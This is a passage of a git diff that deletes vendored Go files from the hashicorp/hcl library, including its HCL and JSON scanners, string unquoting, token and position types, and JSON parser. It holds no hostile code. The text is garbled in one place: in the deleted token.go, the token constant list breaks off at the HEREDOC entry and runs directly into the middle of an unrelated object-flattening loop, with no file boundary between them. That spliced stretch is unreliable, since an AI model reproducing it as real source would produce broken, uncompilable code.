http://en.cppreference.com/w/cpp/language/escape - ch := s.next() // read character after '/' - switch ch { - case 'a', 'b', 'f', 'n', 'r', 't', 'v', '\\', '"': - // nothing to do - case '0', '1', '2', '3', '4', '5', '6', '7': - // octal notation - ch = s.scanDigits(ch, 8, 3) - case 'x': - // hexademical notation - ch = s.scanDigits(s.next(), 16, 2) - case 'u': - // universal character name - ch = s.scanDigits(s.next(), 16, 4) - case 'U': - // universal character name - ch = s.scanDigits(s.next(), 16, 8) - default: - s.err("illegal char escape") - } - return ch -} - -// scanDigits scans a rune with the given base for n times. For example an -// octal notation \184 would yield in scanDigits(ch, 8, 3) -func (s *Scanner) scanDigits(ch rune, base, n int) rune { - start := n - for n > 0 && digitVal(ch) < base { - ch = s.next() - if ch == eof { - // If we see an EOF, we halt any more scanning of digits - // immediately. - break - } - - n-- - } - if n > 0 { - s.err("illegal char escape") - } - - if n != start && ch != eof { - // we scanned all digits, put the last non digit char back, - // only if we read anything at all - s.unread() - } - - return ch -} - -// scanIdentifier scans an identifier and returns the literal string -func (s *Scanner) scanIdentifier() string { - offs := s.srcPos.Offset - s.lastCharLen - ch := s.next() - for isLetter(ch) || isDigit(ch) || ch == '-' || ch == '.' { - ch = s.next() - } - - if ch != eof { - s.unread() // we got identifier, put back latest char - } - - return string(s.src[offs:s.srcPos.Offset]) -} - -// recentPosition returns the position of the character immediately after the -// character or token returned by the last call to Scan. -func (s *Scanner) recentPosition() (pos token.Pos) { - pos.Offset = s.srcPos.Offset - s.lastCharLen - switch { - case s.srcPos.Column > 0: - // common case: last character was not a '\n' - pos.Line = s.srcPos.Line - pos.Column = s.srcPos.Column - case s.lastLineLen > 0: - // last character was a '\n' - // (we cannot be at the beginning of the source - // since we have called next() at least once) - pos.Line = s.srcPos.Line - 1 - pos.Column = s.lastLineLen - default: - // at the beginning of the source - pos.Line = 1 - pos.Column = 1 - } - return -} - -// err prints the error of any scanning to s.Error function. If the function is -// not defined, by default it prints them to os.Stderr -func (s *Scanner) err(msg string) { - s.ErrorCount++ - pos := s.recentPosition() - - if s.Error != nil { - s.Error(pos, msg) - return - } - - fmt.Fprintf(os.Stderr, "%s: %s\n", pos, msg) -} - -// isHexadecimal returns true if the given rune is a letter -func isLetter(ch rune) bool { - return 'a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || ch == '_' || ch >= 0x80 && unicode.IsLetter(ch) -} - -// isDigit returns true if the given rune is a decimal digit -func isDigit(ch rune) bool { - return '0' <= ch && ch <= '9' || ch >= 0x80 && unicode.IsDigit(ch) -} - -// isDecimal returns true if the given rune is a decimal number -func isDecimal(ch rune) bool { - return '0' <= ch && ch <= '9' -} - -// isHexadecimal returns true if the given rune is an hexadecimal number -func isHexadecimal(ch rune) bool { - return '0' <= ch && ch <= '9' || 'a' <= ch && ch <= 'f' || 'A' <= ch && ch <= 'F' -} - -// isWhitespace returns true if the rune is a space, tab, newline or carriage return -func isWhitespace(ch rune) bool { - return ch == ' ' || ch == '\t' || ch == '\n' || ch == '\r' -} - -// digitVal returns the integer value of a given octal,decimal or hexadecimal rune -func digitVal(ch rune) int { - switch { - case '0' <= ch && ch <= '9': - return int(ch - '0') - case 'a' <= ch && ch <= 'f': - return int(ch - 'a' + 10) - case 'A' <= ch && ch <= 'F': - return int(ch - 'A' + 10) - } - return 16 // larger than any legal digit val -} diff --git a/vendor/github.com/hashicorp/hcl/hcl/strconv/quote.go b/vendor/github.com/hashicorp/hcl/hcl/strconv/quote.go deleted file mode 100644 index 5f981eaa2f..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/strconv/quote.go +++ /dev/null @@ -1,241 +0,0 @@ -package strconv - -import ( - "errors" - "unicode/utf8" -) - -// ErrSyntax indicates that a value does not have the right syntax for the target type. -var ErrSyntax = errors.New("invalid syntax") - -// Unquote interprets s as a single-quoted, double-quoted, -// or backquoted Go string literal, returning the string value -// that s quotes. (If s is single-quoted, it would be a Go -// character literal; Unquote returns the corresponding -// one-character string.) -func Unquote(s string) (t string, err error) { - n := len(s) - if n < 2 { - return "", ErrSyntax - } - quote := s[0] - if quote != s[n-1] { - return "", ErrSyntax - } - s = s[1 : n-1] - - if quote != '"' { - return "", ErrSyntax - } - if !contains(s, '$') && !contains(s, '{') && contains(s, '\n') { - return "", ErrSyntax - } - - // Is it trivial? Avoid allocation. - if !contains(s, '\\') && !contains(s, quote) && !contains(s, '$') { - switch quote { - case '"': - return s, nil - case '\'': - r, size := utf8.DecodeRuneInString(s) - if size == len(s) && (r != utf8.RuneError || size != 1) { - return s, nil - } - } - } - - var runeTmp [utf8.UTFMax]byte - buf := make([]byte, 0, 3*len(s)/2) // Try to avoid more allocations. - for len(s) > 0 { - // If we're starting a '${}' then let it through un-unquoted. - // Specifically: we don't unquote any characters within the `${}` - // section. - if s[0] == '$' && len(s) > 1 && s[1] == '{' { - buf = append(buf, '$', '{') - s = s[2:] - - // Continue reading until we find the closing brace, copying as-is - braces := 1 - for len(s) > 0 && braces > 0 { - r, size := utf8.DecodeRuneInString(s) - if r == utf8.RuneError { - return "", ErrSyntax - } - - s = s[size:] - - n := utf8.EncodeRune(runeTmp[:], r) - buf = append(buf, runeTmp[:n]...) - - switch r { - case '{': - braces++ - case '}': - braces-- - } - } - if braces != 0 { - return "", ErrSyntax - } - if len(s) == 0 { - // If there's no string left, we're done! - break - } else { - // If there's more left, we need to pop back up to the top of the loop - // in case there's another interpolation in this string. - continue - } - } - - if s[0] == '\n' { - return "", ErrSyntax - } - - c, multibyte, ss, err := unquoteChar(s, quote) - if err != nil { - return "", err - } - s = ss - if c < utf8.RuneSelf || !multibyte { - buf = append(buf, byte(c)) - } else { - n := utf8.EncodeRune(runeTmp[:], c) - buf = append(buf, runeTmp[:n]...) - } - if quote == '\'' && len(s) != 0 { - // single-quoted must be single character - return "", ErrSyntax - } - } - return string(buf), nil -} - -// contains reports whether the string contains the byte c. -func contains(s string, c byte) bool { - for i := 0; i < len(s); i++ { - if s[i] == c { - return true - } - } - return false -} - -func unhex(b byte) (v rune, ok bool) { - c := rune(b) - switch { - case '0' <= c && c <= '9': - return c - '0', true - case 'a' <= c && c <= 'f': - return c - 'a' + 10, true - case 'A' <= c && c <= 'F': - return c - 'A' + 10, true - } - return -} - -func unquoteChar(s string, quote byte) (value rune, multibyte bool, tail string, err error) { - // easy cases - switch c := s[0]; { - case c == quote && (quote == '\'' || quote == '"'): - err = ErrSyntax - return - case c >= utf8.RuneSelf: - r, size := utf8.DecodeRuneInString(s) - return r, true, s[size:], nil - case c != '\\': - return rune(s[0]), false, s[1:], nil - } - - // hard case: c is backslash - if len(s) <= 1 { - err = ErrSyntax - return - } - c := s[1] - s = s[2:] - - switch c { - case 'a': - value = '\a' - case 'b': - value = '\b' - case 'f': - value = '\f' - case 'n': - value = '\n' - case 'r': - value = '\r' - case 't': - value = '\t' - case 'v': - value = '\v' - case 'x', 'u', 'U': - n := 0 - switch c { - case 'x': - n = 2 - case 'u': - n = 4 - case 'U': - n = 8 - } - var v rune - if len(s) < n { - err = ErrSyntax - return - } - for j := 0; j < n; j++ { - x, ok := unhex(s[j]) - if !ok { - err = ErrSyntax - return - } - v = v<<4 | x - } - s = s[n:] - if c == 'x' { - // single-byte string, possibly not UTF-8 - value = v - break - } - if v > utf8.MaxRune { - err = ErrSyntax - return - } - value = v - multibyte = true - case '0', '1', '2', '3', '4', '5', '6', '7': - v := rune(c) - '0' - if len(s) < 2 { - err = ErrSyntax - return - } - for j := 0; j < 2; j++ { // one digit already; two more - x := rune(s[j]) - '0' - if x < 0 || x > 7 { - err = ErrSyntax - return - } - v = (v << 3) | x - } - s = s[2:] - if v > 255 { - err = ErrSyntax - return - } - value = v - case '\\': - value = '\\' - case '\'', '"': - if c != quote { - err = ErrSyntax - return - } - value = rune(c) - default: - err = ErrSyntax - return - } - tail = s - return -} diff --git a/vendor/github.com/hashicorp/hcl/hcl/token/position.go b/vendor/github.com/hashicorp/hcl/hcl/token/position.go deleted file mode 100644 index 59c1bb72d4..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/token/position.go +++ /dev/null @@ -1,46 +0,0 @@ -package token - -import "fmt" - -// Pos describes an arbitrary source position -// including the file, line, and column location. -// A Position is valid if the line number is > 0. -type Pos struct { - Filename string // filename, if any - Offset int // offset, starting at 0 - Line int // line number, starting at 1 - Column int // column number, starting at 1 (character count) -} - -// IsValid returns true if the position is valid. -func (p *Pos) IsValid() bool { return p.Line > 0 } - -// String returns a string in one of several forms: -// -// file:line:column valid position with file name -// line:column valid position without file name -// file invalid position with file name -// - invalid position without file name -func (p Pos) String() string { - s := p.Filename - if p.IsValid() { - if s != "" { - s += ":" - } - s += fmt.Sprintf("%d:%d", p.Line, p.Column) - } - if s == "" { - s = "-" - } - return s -} - -// Before reports whether the position p is before u. -func (p Pos) Before(u Pos) bool { - return u.Offset > p.Offset || u.Line > p.Line -} - -// After reports whether the position p is after u. -func (p Pos) After(u Pos) bool { - return u.Offset < p.Offset || u.Line < p.Line -} diff --git a/vendor/github.com/hashicorp/hcl/hcl/token/token.go b/vendor/github.com/hashicorp/hcl/hcl/token/token.go deleted file mode 100644 index e37c0664ec..0000000000 --- a/vendor/github.com/hashicorp/hcl/hcl/token/token.go +++ /dev/null @@ -1,219 +0,0 @@ -// Package token defines constants representing the lexical tokens for HCL -// (HashiCorp Configuration Language) -package token - -import ( - "fmt" - "strconv" - "strings" - - hclstrconv "github.com/hashicorp/hcl/hcl/strconv" -) - -// Token defines a single HCL token which can be obtained via the Scanner -type Token struct { - Type Type - Pos Pos - Text string - JSON bool -} - -// Type is the set of lexical tokens of the HCL (HashiCorp Configuration Language) -type Type int - -const ( - // Special tokens - ILLEGAL Type = iota - EOF - COMMENT - - identifier_beg - IDENT // literals - literal_beg - NUMBER // 12345 - FLOAT // 123.45 - BOOL // true,false - STRING // "abc" - HEREDOC // < 0 { - // Pop the current item - n := len(frontier) - item := frontier[n-1] - frontier = frontier[:n-1] - - switch v := item.Val.(type) { - case *ast.ObjectType: - items, frontier = flattenObjectType(v, item, items, frontier) - case *ast.ListType: - items, frontier = flattenListType(v, item, items, frontier) - default: - items = append(items, item) - } - } - - // Reverse the list since the frontier model runs things backwards - for i := len(items)/2 - 1; i >= 0; i-- { - opp := len(items) - 1 - i - items[i], items[opp] = items[opp], items[i] - } - - // Done! Set the original items - list.Items = items - return n, true - }) -} - -func flattenListType( - ot *ast.ListType, - item *ast.ObjectItem, - items []*ast.ObjectItem, - frontier []*ast.ObjectItem) ([]*ast.ObjectItem, []*ast.ObjectItem) { - // If the list is empty, keep the original list - if len(ot.List) == 0 { - items = append(items, item) - return items, frontier - } - - // All the elements of this object must also be objects! - for _, subitem := range ot.List { - if _, ok := subitem.(*ast.ObjectType); !ok { - items = append(items, item) - return items, frontier - } - } - - // Great! We have a match go through all the items and flatten - for _, elem := range ot.List { - // Add it to the frontier so that we can recurse - frontier = append(frontier, &ast.ObjectItem{ - Keys: item.Keys, - Assign: item.Assign, - Val: elem, - LeadComment: item.LeadComment, - LineComment: item.LineComment, - }) - } - - return items, frontier -} - -func flattenObjectType( - ot *ast.ObjectType, - item *ast.ObjectItem, - items []*ast.ObjectItem, - frontier []*ast.ObjectItem) ([]*ast.ObjectItem, []*ast.ObjectItem) { - // If the list has no items we do not have to flatten anything - if ot.List.Items == nil { - items = append(items, item) - return items, frontier - } - - // All the elements of this object must also be objects! - for _, subitem := range ot.List.Items { - if _, ok := subitem.Val.(*ast.ObjectType); !ok { - items = append(items, item) - return items, frontier - } - } - - // Great! We have a match go through all the items and flatten - for _, subitem := range ot.List.Items { - // Copy the new key - keys := make([]*ast.ObjectKey, len(item.Keys)+len(subitem.Keys)) - copy(keys, item.Keys) - copy(keys[len(item.Keys):], subitem.Keys) - - // Add it to the frontier so that we can recurse - frontier = append(frontier, &ast.ObjectItem{ - Keys: keys, - Assign: item.Assign, - Val: subitem.Val, - LeadComment: item.LeadComment, - LineComment: item.LineComment, - }) - } - - return items, frontier -} diff --git a/vendor/github.com/hashicorp/hcl/json/parser/parser.go b/vendor/github.com/hashicorp/hcl/json/parser/parser.go deleted file mode 100644 index 125a5f0729..0000000000 --- a/vendor/github.com/hashicorp/hcl/json/parser/parser.go +++ /dev/null @@ -1,313 +0,0 @@ -package parser - -import ( - "errors" - "fmt" - - "github.com/hashicorp/hcl/hcl/ast" - hcltoken "github.com/hashicorp/hcl/hcl/token" - "github.com/hashicorp/hcl/json/scanner" - "github.com/hashicorp/hcl/json/token" -) - -type Parser struct { - sc *scanner.Scanner - - // Last read token - tok token.Token - commaPrev token.Token - - enableTrace bool - indent int - n int // buffer size (max = 1) -} - -func newParser(src []byte) *Parser { - return &Parser{ - sc: scanner.New(src), - } -} - -// Parse returns the fully parsed source and returns the abstract syntax tree. -func Parse(src []byte) (*ast.File, error) { - p := newParser(src) - return p.Parse() -} - -var errEofToken = errors.New("EOF token found") - -// Parse returns the fully parsed source and returns the abstract syntax tree. -func (p *Parser) Parse() (*ast.File, error) { - f := &ast.File{} - var err, scerr error - p.sc.Error = func(pos token.Pos, msg string) { - scerr = fmt.Errorf("%s: %s", pos, msg) - } - - // The root must be an object in JSON - object, err := p.object() - if scerr != nil { - return nil, scerr - } - if err != nil { - return nil, err - } - - // We make our final node an object list so it is more HCL compatible - f.Node = object.List - - // Flatten it, which finds patterns and turns them into more HCL-like - // AST trees. - flattenObjects(f.Node) - - return f, nil -} - -func (p *Parser) objectList() (*ast.ObjectList, error) { - defer un(trace(p, "ParseObjectList")) - node := &ast.ObjectList{} - - for { - n, err := p.objectItem() - if err == errEofToken { - break // we are finished - } - - // we don't return a nil node, because might want to use already - // collected items. - if err != nil { - return node, err - } - - node.Add(n) - - // Check for a followup comma. If it isn't a comma, then we're done - if tok := p.scan(); tok.Type != token.COMMA { - break - } - } - - return node, nil -} - -// objectItem parses a single object item -func (p *Parser) objectItem() (*ast.ObjectItem, error) { - defer un(trace(p, "ParseObjectItem")) - - keys, err := p.objectKey() - if err != nil { - return nil, err - } - - o := &ast.ObjectItem{ - Keys: keys, - } - - switch p.tok.Type { - case token.COLON: - pos := p.tok.Pos - o.Assign = hcltoken.Pos{ - Filename: pos.Filename, - Offset: pos.Offset, - Line: pos.Line, - Column: pos.Column, - } - - o.Val, err = p.objectValue() - if err != nil { - return nil, err - } - } - - return o, nil -} - -// objectKey parses an object key and returns a ObjectKey AST -func (p *Parser) objectKey() ([]*ast.ObjectKey, error) { - keyCount := 0 - keys := make([]*ast.ObjectKey, 0) - - for { - tok := p.scan() - switch tok.Type { - case token.EOF: - return nil, errEofToken - case token.STRING: - keyCount++ - keys = append(keys, &ast.ObjectKey{ - Token: p.tok.HCLToken(), - }) - case token.COLON: - // If we have a zero keycount it means that we never got - // an object key, i.e. `{ :`. This is a syntax error. - if keyCount == 0 { - return nil, fmt.Errorf("expected: STRING got: %s", p.tok.Type) - } - - // Done - return keys, nil - case token.ILLEGAL: - return nil, errors.New("illegal") - default: - return nil, fmt.Errorf("expected: STRING got: %s", p.tok.Type) - } - } -} - -// object parses any type of object, such as number, bool, string, object or -// list. -func (p *Parser) objectValue() (ast.Node, error) { - defer un(trace(p, "ParseObjectValue")) - tok := p.scan() - - switch tok.Type { - case token.NUMBER, token.FLOAT, token.BOOL, token.NULL, token.STRING: - return p.literalType() - case token.LBRACE: - return p.objectType() - case token.LBRACK: - return p.listType() - case token.EOF: - return nil, errEofToken - } - - return nil, fmt.Errorf("Expected object value, got unknown token: %+v", tok) -} - -// object parses any type of object, such as number, bool, string, object or -// list. -func (p *Parser) object() (*ast.ObjectType, error) { - defer un(trace(p, "ParseType")) - tok := p.scan() - - switch tok.Type { - case token.LBRACE: - return p.objectType() - case token.EOF: - return nil, errEofToken - } - - return nil, fmt.Errorf("Expected object, got unknown token: %+v", tok) -} - -// objectType parses an object type and returns a ObjectType AST -func (p *Parser) objectType() (*ast.ObjectType, error) { - defer un(trace(p, "ParseObjectType")) - - // we assume that the currently scanned token is a LBRACE - o := &ast.ObjectType{} - - l, err := p.objectList() - - // if we hit RBRACE, we are good to go (means we parsed all Items), if it's - // not a RBRACE, it's an syntax error and we just return it. - if err != nil && p.tok.Type != token.RBRACE { - return nil, err - } - - o.List = l - return o, nil -} - -// listType parses a list type and returns a ListType AST -func (p *Parser) listType() (*ast.ListType, error) { - defer un(trace(p, "ParseListType")) - - // we assume that the currently scanned token is a LBRACK - l := &ast.ListType{} - - for { - tok := p.scan() - switch tok.Type { - case token.NUMBER, token.FLOAT, token.STRING: - node, err := p.literalType() - if err != nil { - return nil, err - } - - l.Add(node) - case token.COMMA: - continue - case token.LBRACE: - node, err := p.objectType() - if err != nil { - return nil, err - } - - l.Add(node) - case token.BOOL: - // TODO(arslan) should we support? not supported by HCL yet - case token.LBRACK: - // TODO(arslan) should we support nested lists? Even though it's - // written in README of HCL, it's not a part of the grammar - // (not defined in parse.y) - case token.RBRACK: - // finished - return l, nil - default: - return nil, fmt.Errorf("unexpected token while parsing list: %s", tok.Type) - } - - } -} - -// literalType parses a literal type and returns a LiteralType AST -func (p *Parser) literalType() (*ast.LiteralType, error) { - defer un(trace(p, "ParseLiteral")) - - return &ast.LiteralType{ - Token: p.tok.HCLToken(), - }, nil -} - -// scan returns the next token from the underlying scanner. If a token has -// been unscanned then read that instead. -func (p *Parser) scan() token.Token { - // If we have a token on the buffer, then return it. - if p.n != 0 { - p.n = 0 - return p.tok - } - - p.tok = p.sc.Scan() - return p.tok -} - -// unscan pushes the previously read token back onto the buffer. -func (p *Parser) unscan() { - p.n = 1 -} - -// ---------------------------------------------------------------------------- -// Parsing support - -func (p *Parser) printTrace(a ...interface{}) { - if !p.enableTrace { - return - } - - const dots = ". . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . " - const n = len(dots) - fmt.Printf("%5d:%3d: ", p.tok.Pos.Line, p.tok.Pos.Column) - - i := 2 * p.indent - for i > n { - fmt.Print(dots) - i -= n - } - // i <= n - fmt.Print(dots[0:i]) - fmt.Println(a...) -} - -func trace(p *Parser, msg string) *Parser { - p.printTrace(msg, "(") - p.indent++ - return p -} - -// Usage pattern: defer un(trace(p, "...")) -func un(p *Parser) { - p.indent-- - p.printTrace(")") -} diff --git a/vendor/github.com/hashicorp/hcl/json/scanner/scanner.go b/vendor/github.com/hashicorp/hcl/json/scanner/scanner.go deleted file mode 100644 index fe3f0f0950..0000000000 --- a/vendor/github.com/hashicorp/hcl/json/scanner/scanner.go +++ /dev/null @@ -1,451 +0,0 @@ -package scanner - -import ( - "bytes" - "fmt" - "os" - "unicode" - "unicode/utf8" - - "github.com/hashicorp/hcl/json/token" -) - -// eof represents a marker rune for the end of the reader. -const eof = rune(0) - -// Scanner defines a lexical scanner -type Scanner struct { - buf *bytes.Buffer // Source buffer for advancing and scanning - src []byte // Source buffer for immutable access - - // Source Position - srcPos token.Pos // current position - prevPos token.Pos // previous position, used for peek() method - - lastCharLen int // length of last character in bytes - lastLineLen int // length of last line in characters (for correct column reporting) - - tokStart int // token text start position - tokEnd int // token text end position - - // Error is called for each error encountered. If no Error - // function is set, the error is reported to os.Stderr. - Error func(pos token.Pos, msg string) - - // ErrorCount is incremented by one for each error encountered. - ErrorCount int - - // tokPos is the start position of most recently scanned token; set by - // Scan. The Filename field is always left untouched by the Scanner. If - // an error is reported (via Error) and Position is invalid, the scanner is - // not inside a token. - tokPos token.Pos -} - -// New creates and initializes a new instance of Scanner using src as -// its source content. -func New(src []byte) *Scanner { - // even though we accept a src, we read from a io.Reader compatible type - // (*bytes.Buffer). So in the future we might easily change it to streaming - // read. - b := bytes.NewBuffer(src) - s := &Scanner{ - buf: b, - src: src, - } - - // srcPosition always starts with 1 - s.srcPos.Line = 1 - return s -} - -// next reads the next rune from the bufferred reader. Returns the rune(0) if -// an error occurs (or io.EOF is returned). -func (s *Scanner) next() rune { - ch, size, err := s.buf.ReadRune() - if err != nil { - // advance for error reporting - s.srcPos.Column++ - s.srcPos.Offset += size - s.lastCharLen = size - return eof - } - - if ch == utf8.RuneError && size == 1 { - s.srcPos.Column++ - s.srcPos.Offset += size - s.lastCharLen = size - s.err("illegal UTF-8 encoding") - return ch - } - - // remember last position - s.prevPos = s.srcPos - - s.srcPos.Column++ - s.lastCharLen = size - s.srcPos.Offset += size - - if ch == '\n' { - s.srcPos.Line++ - s.lastLineLen = s.srcPos.Column - s.srcPos.Column = 0 - } - - // debug - // fmt.Printf("ch: %q, offset:column: %d:%d\n", ch, s.srcPos.Offset, s.srcPos.Column) - return ch -} - -// unread unreads the previous read Rune and updates the source position -func (s *Scanner) unread() { - if err := s.buf.UnreadRune(); err != nil { - panic(err) // this is user fault, we should catch it - } - s.srcPos = s.prevPos // put back last position -} - -// peek returns the next rune without advancing the reader. -func (s *Scanner) peek() rune { - peek, _, err := s.buf.ReadRune() - if err != nil { - return eof - } - - s.buf.UnreadRune() - return peek -} - -// Scan scans the next token and returns the token. -func (s *Scanner) Scan() token.Token { - ch := s.next() - - // skip white space - for isWhitespace(ch) { - ch = s.next() - } - - var tok token.Type - - // token text markings - s.tokStart = s.srcPos.Offset - s.lastCharLen - - // token position, initial next() is moving the offset by one(size of rune - // actually), though we are interested with the starting point - s.tokPos.Offset = s.srcPos.Offset - s.lastCharLen - if s.srcPos.Column > 0 { - // common case: last character was not a '\n' - s.tokPos.Line = s.srcPos.Line - s.tokPos.Column = s.srcPos.Column - } else { - // last character was a '\n' - // (we cannot be at the beginning of the source - // since we have called next() at least once) - s.tokPos.Line = s.srcPos.Line - 1 - s.tokPos.Column = s.lastLineLen - } - - switch { - case isLetter(ch): - lit := s.scanIdentifier() - if lit == "true" || lit == "false" { - tok = token.BOOL - } else if lit == "null" { - tok = token.NULL - } else { - s.err("illegal char") - } - case isDecimal(ch): - tok = s.scanNumber(ch) - default: - switch ch { - case eof: - tok = token.EOF - case '"': - tok = token.STRING - s.scanString() - case '.': - tok = token.PERIOD - ch = s.peek() - if isDecimal(ch) { - tok = token.FLOAT - ch = s.scanMantissa(ch) - ch = s.scanExponent(ch) - } - case '[': - tok = token.LBRACK - case ']': - tok = token.RBRACK - case '{': - tok = token.LBRACE - case '}': - tok = token.RBRACE - case ',': - tok = token.COMMA - case ':': - tok = token.COLON - case '-': - if isDecimal(s.peek()) { - ch := s.next() - tok = s.scanNumber(ch) - } else { - s.err("illegal char") - } - default: - s.err("illegal char: " + string(ch)) - } - } - - // finish token ending - s.tokEnd = s.srcPos.Offset - - // create token literal - var tokenText string - if s.tokStart >= 0 { - tokenText = string(s.src[s.tokStart:s.tokEnd]) - } - s.tokStart = s.tokEnd // ensure idempotency of tokenText() call - - return token.Token{ - Type: tok, - Pos: s.tokPos, - Text: tokenText, - } -} - -// scanNumber scans a HCL number definition starting with the given rune -func (s *Scanner) scanNumber(ch rune) token.Type { - zero := ch == '0' - pos := s.srcPos - - s.scanMantissa(ch) - ch = s.next() // seek forward - if ch == 'e' || ch == 'E' { - ch = s.scanExponent(ch) - return token.FLOAT - } - - if ch == '.' { - ch = s.scanFraction(ch) - if ch == 'e' || ch == 'E' { - ch = s.next() - ch = s.scanExponent(ch) - } - return token.FLOAT - } - - if ch != eof { - s.unread() - } - - // If we have a larger number and this is zero, error - if zero && pos != s.srcPos { - s.err("numbers cannot start with 0") - } - - return token.NUMBER -} - -// scanMantissa scans the mantissa beginning from the rune. It returns the next -// non decimal rune. It's used to determine wheter it's a fraction or exponent. -func (s *Scanner) scanMantissa(ch rune) rune { - scanned := false - for isDecimal(ch) { - ch = s.next() - scanned = true - } - - if scanned && ch != eof { - s.unread() - } - return ch -} - -// scanFraction scans the fraction after the '.' rune -func (s *Scanner) scanFraction(ch rune) rune { - if ch == '.' { - ch = s.peek() // we peek just to see if we can move forward - ch = s.scanMantissa(ch) - } - return ch -} - -// scanExponent scans the remaining parts of an exponent after the 'e' or 'E' -// rune. -func (s *Scanner) scanExponent(ch rune) rune { - if ch == 'e' || ch == 'E' { - ch = s.next() - if ch == '-' || ch == '+' { - ch = s.next() - } - ch = s.scanMantissa(ch) - } - return ch -} - -// scanString scans a quoted string -func (s *Scanner) scanString() { - braces := 0 - for { - // '"' opening already consumed - // read character after quote - ch := s.next() - - if ch == '\n' || ch < 0 || ch == eof { - s.err("literal not terminated") - return - } - - if ch == '"' { - break - } - - // If we're going into a ${} then we can ignore quotes for awhile - if braces == 0 && ch == '$' && s.peek() == '{' { - braces++ - s.next() - } else if braces > 0 && ch == '{' { - braces++ - } - if braces > 0 && ch == '}' { - braces-- - } - - if ch == '\\' { - s.scanEscape() - } - } - - return -} - -// scanEscape scans an escape sequence -func (s *Scanner) scanEscape() rune { - // http://en.cppreference.com/w/cpp/language/escape - ch := s.next() // read character after '/' - switch ch { - case 'a', 'b', 'f', 'n', 'r', 't', 'v', '\\', '"': - // nothing to do - case '0', '1', '2', '3', '4', '5', '6', '7': - // octal notation - ch = s.scanDigits(ch, 8, 3) - case 'x': - // hexademical notation - ch = s.scanDigits(s.next(), 16, 2) - case 'u': - // universal character name - ch = s.scanDigits(s.next(), 16, 4) - case 'U': - // universal character name - ch = s.scanDigits(s.next(), 16, 8) - default: - s.err("illegal char escape") - } - return ch -} - -// scanDigits scans a rune with the given base for n times. For example an -// octal notation \184 would yield in scanDigits(ch, 8, 3) -func (s *Scanner) scanDigits(ch rune, base, n int) rune { - for n > 0 && digitVal(ch) < base { - ch = s.next() - n-- - } - if n > 0 { - s.err("illegal char escape") - } - - // we scanned all digits, put the last non digit char back - s.unread() - return ch -} - -// scanIdentifier scans an identifier and returns the literal string -func (s *Scanner) scanIdentifier() string { - offs := s.srcPos.Offset - s.lastCharLen - ch := s.next() - for isLetter(ch) || isDigit(ch) || ch == '-' { - ch = s.next() - } - - if ch != eof { - s.unread() // we got identifier, put back latest char - } - - return string(s.src[offs:s.srcPos.Offset]) -} - -// recentPosition returns the position of the character immediately after the -// character or token returned by the last call to Scan. -func (s *Scanner) recentPosition() (pos token.Pos) { - pos.Offset = s.srcPos.Offset - s.lastCharLen - switch { - case s.srcPos.Column > 0: - // common case: last character was not a '\n' - pos.Line = s.srcPos.Line - pos.Column = s.srcPos.Column - case s.lastLineLen > 0: - // last character was a '\n' - // (we cannot be at the beginning of the source - // since we have called next() at least once) - pos.Line = s.srcPos.Line - 1 - pos.Column = s.lastLineLen - default: - // at the beginning of the source - pos.Line = 1 - pos.Column = 1 - } - return -} - -// err prints the error of any scanning to s.Error function. If the function is -// not defined, by default it prints them to os.Stderr -func (s *Scanner) err(msg string) { - s.ErrorCount++ - pos := s.recentPosition() - - if s.Error != nil { - s.Error(pos, msg) - return - } - - fmt.Fprintf(os.Stderr, "%s: %s\n", pos, msg) -} - -// isHexadecimal returns true if the given rune is a letter -func isLetter(ch rune) bool { - return 'a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || ch == '_' || ch >= 0x80 && unicode.IsLetter(ch) -} - -// isHexadecimal returns true if the given rune is a decimal digit -func isDigit(ch rune) bool { - return '0' <= ch && ch <= '9' || ch >= 0x80 && unicode.IsDigit(ch) -} - -// isHexadecimal returns true if the given rune is a decimal number -func isDecimal(ch rune) bool { - return '0' <= ch && ch <= '9' -} - -// isHexadecimal returns true if the given rune is an hexadecimal number -func isHexadecimal(ch rune) bool { - return '0' <= ch && ch <= '9' || 'a' <= ch && ch <= 'f' || 'A' <= ch && ch <= 'F' -} - -// isWhitespace returns true if the rune is a space, tab, newline or carriage return -func isWhitespace(ch rune) bool { - return ch == ' ' || ch == '\t' || ch == '\n' || ch == '\r' -} - -// digitVal returns the integer value of a given octal,decimal or hexadecimal rune -func digitVal(ch rune) int { - switch { - case '0' <= ch && ch <= '9': - return int(ch - '0') - case 'a' <= ch && ch <= 'f': - return int(ch - 'a' + 10) - case 'A' <= ch && ch <= 'F': - return int(ch - 'A' + 10) - } - return 16 // larger than any legal digit val -} diff --git a/vendor/github.com/hashicorp/hcl/json/token/position.go b/vendor/github.com/hashicorp/hcl/json/token/position.go deleted file mode 100644 index 59c1bb72d4..0000000000 --- a/vendor/github.com/hashicorp/hcl/json/token/position.go +++ /dev/null @@ -1,46 +0,0 @@ -package token - -import "fmt" - -// Pos describes an arbitrary source position -// including the file, line, and column location. -// A Position is valid if the line number is > 0. -type Pos struct { - Filename string // filename, if any - Offset int // offset, starting at 0 - Line int // line number, starting at 1 - Column int // column number, starting at 1 (character count) -} - -// IsValid returns true if the position is valid. -func (p *Pos) IsValid() bool { return p.Line > 0 } - -// String returns a string in one of several forms: -// -// file:line:column valid position with file name -// line:column valid position without file name -// file invalid position with file name -// - invalid position without file name -func (p Pos) String() string { - s := p.Filename - if p.IsValid() { - if s != "" { - s += ":" - } - s += fmt.Sprintf("%d:%d", p.Line, p.Column) - } - if s == "" { - s = "-" - } - return s -} - -// Before reports whether the position p is before u. -func (p Pos) Before(u Pos) bool { - return u.Offset > p.Offset || u.Line > p.Line -} - -// After reports whether the position p is after u. -func (p Pos) After(u Pos) bool { - return u.Offset < p.Offset || u.Line < p.Line -} diff --git a/vendor/github.com/hashicorp/hcl/json/token/token.go b/vendor/github.com/hashicorp/hcl/json/token/token.go deleted file mode 100644 index 95a0c3eee6..0000000000 --- a/vendor/github.com/hashicorp/hcl/json/token/token.go +++ /dev/null @@ -1,118 +0,0 @@ -package token - -import ( - "fmt" - "strconv" - - hcltoken "github.com/hashicorp/hcl/hcl/token" -) - -// Token defines a single HCL token which can be obtained via the Scanner -type Token struct { - Type Type - Pos Pos - Text string -} - -// Type is the set of lexical tokens of the HCL (HashiCorp Configuration Language) -type Type int - -const ( - // Special tokens - ILLEGAL Type = iota - EOF - - identifier_beg - literal_beg - NUMBER // 12345 - FLOAT // 123.45 - BOOL // true,false - STRING // "abc" - 